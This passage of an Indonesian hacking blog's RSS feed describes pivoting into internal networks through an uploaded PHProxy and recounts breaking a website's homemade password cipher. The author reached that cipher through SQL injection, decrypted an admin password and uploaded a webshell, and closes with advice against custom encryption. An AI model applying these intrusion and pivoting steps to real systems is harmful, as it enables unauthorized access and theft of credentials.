<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_urlfuzz.png"><img class="aligncenter size-full wp-image-2138" title="dirbuster_urlfuzz" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_urlfuzz.png" alt="" width="452" height="147" /></a>Ada kalanya kita harus membrute force nama direktori yang merupakan bagian dari parameter URL. Dalam kasus seperti itu kita bisa memakai pilihan URL Fuzz. Salah satu contoh kasusnya adalah ketika kita ingin melakukan scanning melalui sebuah web based proxy seperti <a href="http://sourceforge.net/projects/poxy/">PHPProxy</a>.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy.png"><img class="aligncenter size-full wp-image-2140" title="dirbuster_proxy" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy.png" alt="" width="443" height="228" /></a>Ketika kita ingin scanning website internal dengan IP address private dari website public yang sudah berhasil kita susupi, kita bisa gunakan PHProxy. URL PHProxy biasanya berbentuk http://somewebsite/myproxy/?q=http://situstarget/{dir}. Dalam kasus seperti ini, pilihan URL Fuzz bisa sangat berguna. Gambar di bawah ini menunjukkan skenario tersebut. Setelah seorang hacker berhasil menguasai web server public, dia akan mengupload web based proxy seperti PHProxy. Dengan proxy tersebut hacker bisa melebarkan serangannya ke arah dalam dengan menyerang web server internal yang tidak bisa dijangkau dari internet.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy_scenario.png"><img class="aligncenter size-full wp-image-2143" title="dirbuster_proxy_scenario" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_proxy_scenario.png" alt="" width="489" height="379" /></a></p>
<p style="text-align: justify;">Walaupun tools ini sangat sederhana, tapi jangan remehkan keampuhannya. Silakan coba saja sendiri, mungkin nanti anda akan terkejut melihat banyaknya webmaster yang sembrono menaruh file/direktori sensitif di websitenya.</p>
<p style="text-align: justify;"><img src="file:///C:/DOCUME~1/parhan/LOCALS~1/Temp/moz-screenshot-2.png" alt="" /></p>
<p style="text-align: justify;">
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 1883px; width: 1px; height: 1px; overflow: hidden;">http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project#tab=Download</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=TYShLk9OnvU:OxCgT8j7wlo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=TYShLk9OnvU:OxCgT8j7wlo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=TYShLk9OnvU:OxCgT8j7wlo:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=TYShLk9OnvU:OxCgT8j7wlo:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/berburu-direktori-dan-file-sensitif-dengan-dirbuster/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Memecahkan Kriptografi dengan Chosen-Plaintext Attack</title>
		<link>http://www.ilmuhacking.com/cryptography/memecahkan-kriptografi-dengan-chosen-plaintext-attack/</link>
		<comments>http://www.ilmuhacking.com/cryptography/memecahkan-kriptografi-dengan-chosen-plaintext-attack/#comments</comments>
		<pubDate>Tue, 27 Apr 2010 07:51:27 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Cryptography]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2106</guid>
		<description><![CDATA[Beberapa waktu yang lalu saya menemukan sebuah website dengan vulnerability SQL injection. Sengaja nama website tersebut tidak saya publikasikan, karena artikel ini bukan tentang SQL injection melainkan bagaimana memecahkan enkripsi. Berbeda dengan website lainnya, website tersebut menyimpan password dalam tabel user tidak dalam bentuk one-way hash (contohnya MD5 atau SHA1), melainkan dalam bentuk ter-enkripsi. Enkripsi [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Beberapa waktu yang lalu saya menemukan sebuah website dengan vulnerability SQL injection. Sengaja nama website tersebut tidak saya publikasikan, karena artikel ini bukan tentang SQL injection melainkan bagaimana memecahkan enkripsi.</p>
<p style="text-align: justify;">Berbeda dengan website lainnya, website tersebut menyimpan password dalam tabel user tidak dalam bentuk one-way hash (contohnya MD5 atau SHA1), melainkan dalam bentuk ter-enkripsi. Enkripsi yang dipakai juga unik karena tidak memakai algoritma enkripsi yang sudah dikenal luas.</p>
<p style="text-align: justify;">Dalam kasus tersebut saya ingin melakukan privilege-escalation dari user dengan hak akses biasa menjadi user dengan hak akses penuh. Sebagai user biasa saya bisa melakukan SQLinjection untuk membaca username dan password dari tabel user. Dengan teknik tersebut saya mendapatkan encrypted password dari seorang user yang memiliki hak admin. Namun saya tidak bisa memakai password itu untuk menjadi admin sebelum saya mengerti pesan tersembunyi dalam chiphertext tersebut.<span id="more-2106"></span></p>
<p><strong>Analisa Ciphertext</strong></p>
<p style="text-align: justify;">Saya mencoba menggali informasi lebih dalam lagi tentang enkripsi unik di website tersebut. Saya mulai mengumpulkan banyak ciphertext dari user-user lainnya. Berikut beberapa ciphertext yang saya kumpulkan:</p>
<ul>
<li>804881451156416021528145</li>
<li>9436353935332546555225378546953924846491</li>
<li>11763273927622732276427712808233523172328227</li>
</ul>
<p style="text-align: justify;">Ada beberapa poin penting yang saya dapatkan dari pengumpulan ciphertext tersebut:</p>
<ul>
<li>Panjang ciphertext bervariasi</li>
</ul>
<p style="text-align: justify;">Panjang  ciphertext yang bervariasi membuat saya yakin bahwa itu bukan fungsi  hash, karena ciri khas fungsi hash adalah panjang hash yang selalu  tetap. Panjang ciphertext yang bervariasi kemungkinan besar tergantung  dari panjang atau pendeknya password user tersebut. Nanti saya akan coba  konfirmasi hipotesa ini dengan mengubah password user biasa yang saya  pakai.</p>
<ul>
<li>Ciphertext hanya terdiri dari angka</li>
</ul>
<p style="text-align: justify;">Ciphertext yang semua berupa angka membuat saya curiga bahwa ini adalah kode, semacam kode ASCII namun sudah dikalkulasi dengan formula matematis tertentu.</p>
<p style="text-align: justify;"><strong>Chosen-Plaintext Attack</strong></p>
<p style="text-align: justify;">Chosen-Plaintext attack adalah salah satu cara &#8220;code breaking&#8221; (cryptanalysis) dengan cara membandingkan dan menganalisa contoh plaintext dan ciphertextnya. Dalam chosen plaintext attack, code breaker memiliki kebebasan untuk menentukan plaintext yang diiginkannya.</p>
<p style="text-align: justify;">Untuk mendapatkan contoh plaintext dan ciphertextnya, saya melakukan langkah berikut ini setelah login sebagai seorang user biasa:</p>
<ol>
<li>Ubah Password</li>
<li>Lihat ciphertext dari tabel user dengan SQLinjection</li>
</ol>
<p style="text-align: justify;">Pertama saya ubah password menjadi &#8216;d&#8217;, kemudian saya lihat ciphertext untuk plaintext &#8216;d&#8217;. Saya ulangi langkah itu dengan contoh plaintext yang lain berkali-kali.</p>
<p style="text-align: justify;">Apa saja plaintext yang saya pilih? Berikut chosen-plaintext dan ciphertextnya yang saya pilih:</p>
<table style="height: 48px;" border="1" width="182">
<tbody>
<tr>
<th>Plaintext</th>
<th>Ciphertext</th>
</tr>
<tr>
<td>d</td>
<td>92254325</td>
</tr>
<tr>
<td>dd</td>
<td>831214121412</td>
</tr>
<tr>
<td>ddd</td>
<td>6180128012807280</td>
</tr>
<tr>
<td>dddd</td>
<td>15013601660186017601</td>
</tr>
<tr>
<td>abcd1234</td>
<td>433034273428242944308379538023819382</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Perhatikan bahwa panjang ciphertext tergantung dari panjang plaintext.  Plaintext sepanjang 1 karakter, ciphertext panjangnya 8 digit. Setiap penambahan satu karakter plaintext, ciphertext bertambah 4 digit.</p>
<p style="text-align: justify;">Saya sengaja memilih plaintext berurutan (d,dd,ddd,dddd) untuk melihat apa ada pola yang muncul. Perhatikan pada plaintext &#8220;dd&#8221;, ciphertextnya adalah 831214121412, terlihat pola berulang pada angka 412 sebanyak 2x. Dalam ciphertext ini saya menyimpulkan bahwa 412 adalah kode untuk karakter &#8216;d&#8217;.</p>
<p style="text-align: justify;">Untuk plaintext &#8220;ddd&#8221;, ciphertextnya adalah 6180128012807280, terlihat pola berulang pada angka 280 sebanyak 3 kali. Dalam ciphertext ini saya menyimpulkan bahwa 280 adalah kode untuk karakter &#8216;d&#8217;.</p>
<p style="text-align: justify;">Begitu juga pada plaintext &#8220;dddd&#8221;, ciphertextnya adalah 15013601660186017601, dengan pola berulang pada angka 601 sebanyak 4 kali. Dalam ciphertext ini, saya menyimpulkan bahwa 601 adalah kode untuk karakter &#8216;d&#8217;.</p>
<p style="text-align: justify;">Ingat bahwa untuk setiap penambahan satu karakter plaintext membuat ciphertext bertambah 4 digit. Ternyata 4 digit tersebut adalah satu digit apapun diikuti dengan 3 digit kode karakter. Chosen plaintext dalam contoh sebelumnya saya pecah-pecah menjadi kelompok 4 digit dipisahkan dengan karakter &#8216;#&#8217; dan dari 4 digit tersebut saya pecah dua menjadi 1 digit dan 3 digit dengan karakter &#8216;-&#8217;.</p>
<table style="height: 164px;" border="1" width="471">
<tbody>
<tr>
<th>Plaintext</th>
<th>Ciphertext</th>
<th>Kode</th>
</tr>
<tr>
<td>d</td>
<td>9-225#4-325</td>
<td>325 = &#8216;d&#8217;</td>
</tr>
<tr>
<td>dd</td>
<td>8-312#1-412#1-412</td>
<td>412 = &#8216;d&#8217;</td>
</tr>
<tr>
<td>ddd</td>
<td>6-180#1-280#1-280#7-280</td>
<td>280 = &#8216;d&#8217;</td>
</tr>
<tr>
<td>dddd</td>
<td>1-501#3-601#6-601#8-601#7-601</td>
<td>601 = &#8216;d&#8217;</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Oke sampai disini saya sudah mendapatkan titik terang. Saya sudah mengetahui komposisi dan posisi tiap karakter pada plaintext ketika dipetakan pada ciphertext. Tapi masih ada yang belum jelas, dalam contoh tersebut kode untuk krakter &#8216;d&#8217; ternyata berbeda-beda, pada contoh pertama kodenya adalah 325, pada contoh lain kode untuk &#8216;d&#8217; adalah 412, 280 dan 601.</p>
<p style="text-align: justify;">Kini saya harus mengetahui bagaimana hubungan antara kode yang berurutan, untuk itu saya memilih plaintext &#8220;abcd1234&#8243; dengan ciphertext 433034273428242944308379538023819382. Mari kita pecah ciphertext tersebut menjadi kelompok 4 digit seperti tabel di atas.</p>
<p style="text-align: justify;">4-330#3-427#3-428#2-429#4-430#8-379#5-380#2-381#9-382</p>
<p style="text-align: justify;">Dari pengelompokan tersebut kita bisa simpulkan bahwa:</p>
<p style="text-align: justify;">427 = &#8216;a&#8217;, 428 = &#8216;b&#8217;, 429 = &#8216;c&#8217;, 430 = &#8216;d&#8217;, 379 = &#8217;1&#8242;, 380 = &#8217;2&#8242;, 381=&#8217;3&#8242;, 382=&#8217;4&#8242;</p>
<p style="text-align: justify;">Perhatikan bahwa kode-kode tersebut sengaja saya pilih berurut &#8216;a&#8217;-&gt;&#8217;b'-&gt;&#8217;c'-&gt;&#8217;d&#8217; dan ternyata ciphertextnya pun ikut berurut 427-&gt;428-&gt;429-&gt;430. Begitu juga untuk &#8217;1&#8242;-&gt;&#8217;2&#8242;-&gt;&#8217;3&#8242;-&gt;&#8217;4&#8242;, ciphertextnya juga berurut 379-&gt;380-&gt;381-&gt;382. Saya mencurigai bahwa enkripsi ini memakai kode ASCII karena memang kode ASCII untuk &#8216;abcd&#8217; dan &#8217;1234&#8242; berurutan.Kode ASCII untuk  &#8216;a&#8217;=97, &#8216;b&#8217;=98,&#8217;c'=99,&#8217;d'=100,&#8217;1&#8242;=49,&#8217;2&#8242;=50,&#8217;3&#8242;=51,&#8217;4&#8242;=52.</p>
<p style="text-align: justify;">Terlihat ada jarak yang cukup jauh antara kode ASCII dan kode pada ciphertext. Contohnya &#8216;a&#8217; dengan ASCII 97, dalam ciphertext dikodekan dengan 427, selisihnya 427-97 adalah 330. Begitu juga dengan &#8217;1&#8242; dengan ASCII 49, dalam ciphertext dikodekan menjadi 379, dengan selisih 379-49 adalah 330. Ternyata kalau dilihat semua kode pada ciphertext juga berjarak 330 dengan kode ASCII. Pertanyaannya, darimana angka 330 ini muncul?</p>
<p style="text-align: justify;">Mari kita lihat sekali lagi ciphertext dari &#8216;abcd1234&#8242; (setelah dikelompokkan 4 digit):</p>
<p style="text-align: justify;">4-330#3-427#3-428#2-429#4-430#8-379#5-380#2-381#9-382</p>
<p style="text-align: justify;">Adakah angka 330 dalam ciphertext tersebut? Aha, ternyata ada! Ingat bahwa plaintext satu karakter, ciphertextnya adalah 8 digit, padahal tiap karakter dikodekan dalam 4 digit, jadi ada kelebihan 4 digit. Ternyata pada kelompok 4 digit pertama mengandung offset dengan kode ASCII, yaitu pada digit ke-2 hingga ke-4.</p>
<p style="text-align: justify;">Jadi sekarang misteri enkripsi ini terpecahkan. Mari kita coba dekrip contoh ciphertext yang saya kumpulkan di awal:</p>
<ul>
<li>804881451156416021528145</li>
</ul>
<p style="text-align: justify;">Pertama kita kelompokkan menjadi kelompok 4 digit: 8-048#8-145#1-156#4-160#2-152#8-145. Kelompok 4 digit pertama 8048 menunjukkan offset yaitu 048. Kelompok 4 digit kedua, 8145 menunjukkan kode karakter pertama adalah 145, dikonversi ke kode ASCII menjadi 145-048=97. ASCII 97 ini adalah &#8216;a&#8217;. Jadi kita temukan karakter pertama &#8216;a&#8217;. Berikutnya, 156-48=108, yaitu kode untuk &#8216;l&#8217;. Berikutnya, 160-48=112, yaitu kode untuk &#8216;p&#8217;. Berikutnya 152-48=104, yaitu kode untuk &#8216;h&#8217;. Berikutnya 145, sama dengan karakter pertama, &#8216;a&#8217;. Jadi hasil dekripsinya adalah &#8216;alpha&#8217;.</p>
<ul>
<li>9436353935332546555225378546953924846491</li>
</ul>
<p style="text-align: justify;">Kita kelompokkan menjadi kelompok 4 digit: 9-436#3-539#3-533#2-546#5-552#2-537#8-546#9-539#2-484#6-491. Karakter pertama: 539-436=103=&#8217;g&#8217;. Karakter ke-2: 533-436=97=&#8217;a&#8217;. Karakter ke-3: 546-436=110=&#8217;n&#8217;. Karakter ke-4: 552-436=116=&#8217;t&#8217;. Karakter ke-5: 537-436=110=&#8217;e&#8217;. Karakter ke-6 sama dengan ke-3, &#8216;n&#8217;. Karakter ke-7 sama dengan karakter ke-1, &#8216;g&#8217;. Karakter ke-8: 484-436=48=&#8217;0&#8242;. Karakter ke-9: 491-436=55=&#8217;7&#8242;. Jadi hasil dekripsinya adalah &#8216;ganteng07&#8242;.</p>
<p style="text-align: justify;">Pada akhirnya dengan mengetahui teknik enkripsi yang dipakai, saya berhasil mendapatkan password seseorang dengan hak administrator. Tidak lama kemudian GAME OVER, webshell uploaded <img src='http://www.ilmuhacking.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: justify;"><strong>Kesimpulan</strong></p>
<p style="text-align: justify;">Pelajaran yang bisa diambil dari kasus tersebut adalah bahwa membuat algoritma kriptografi yang kuat tidaklah mudah, jangan pernah memakai enkripsi buatan sendiri, walaupun algoritmanya anda rahasiakan. Selalu gunakan algoritma enkripsi terbuka yang sudah teruji oleh para ahli.</p>
<p style="text-align: justify;">Sedangkan untuk password, sebaiknya jangan gunakan enkripsi, tapi gunakan one-way hash function yang kuat seperti SHA1. Enkripsi tidak cocok dipakai untuk menyimpan password karena ketika terjadi compromised, maka semua password yang ada di tabel akan bisa diambil attacker dengan cara menjalankan rutin dekripsi yang pasti tersedia di salah satu file script seperti PHP pada web tersebut.</p>
<p style="text-align: justify;">Walaupun algoritma dekripsinya anda rahasiakan, suatu saat ketika terjadi compromised, seorang attacker akan bisa melakukan dekripsi dengan membaca source code php untuk men-dekrip password. Biasanya rutin dekripsinya tidak jauh dari file php yang terkait dengan halaman login.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=SWAbJYNJsX0:FUVgobVIoIc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=SWAbJYNJsX0:FUVgobVIoIc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=SWAbJYNJsX0:FUVgobVIoIc:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=SWAbJYNJsX0:FUVgobVIoIc:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/cryptography/memecahkan-kriptografi-dengan-chosen-plaintext-attack/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
	</channel>
</rss>

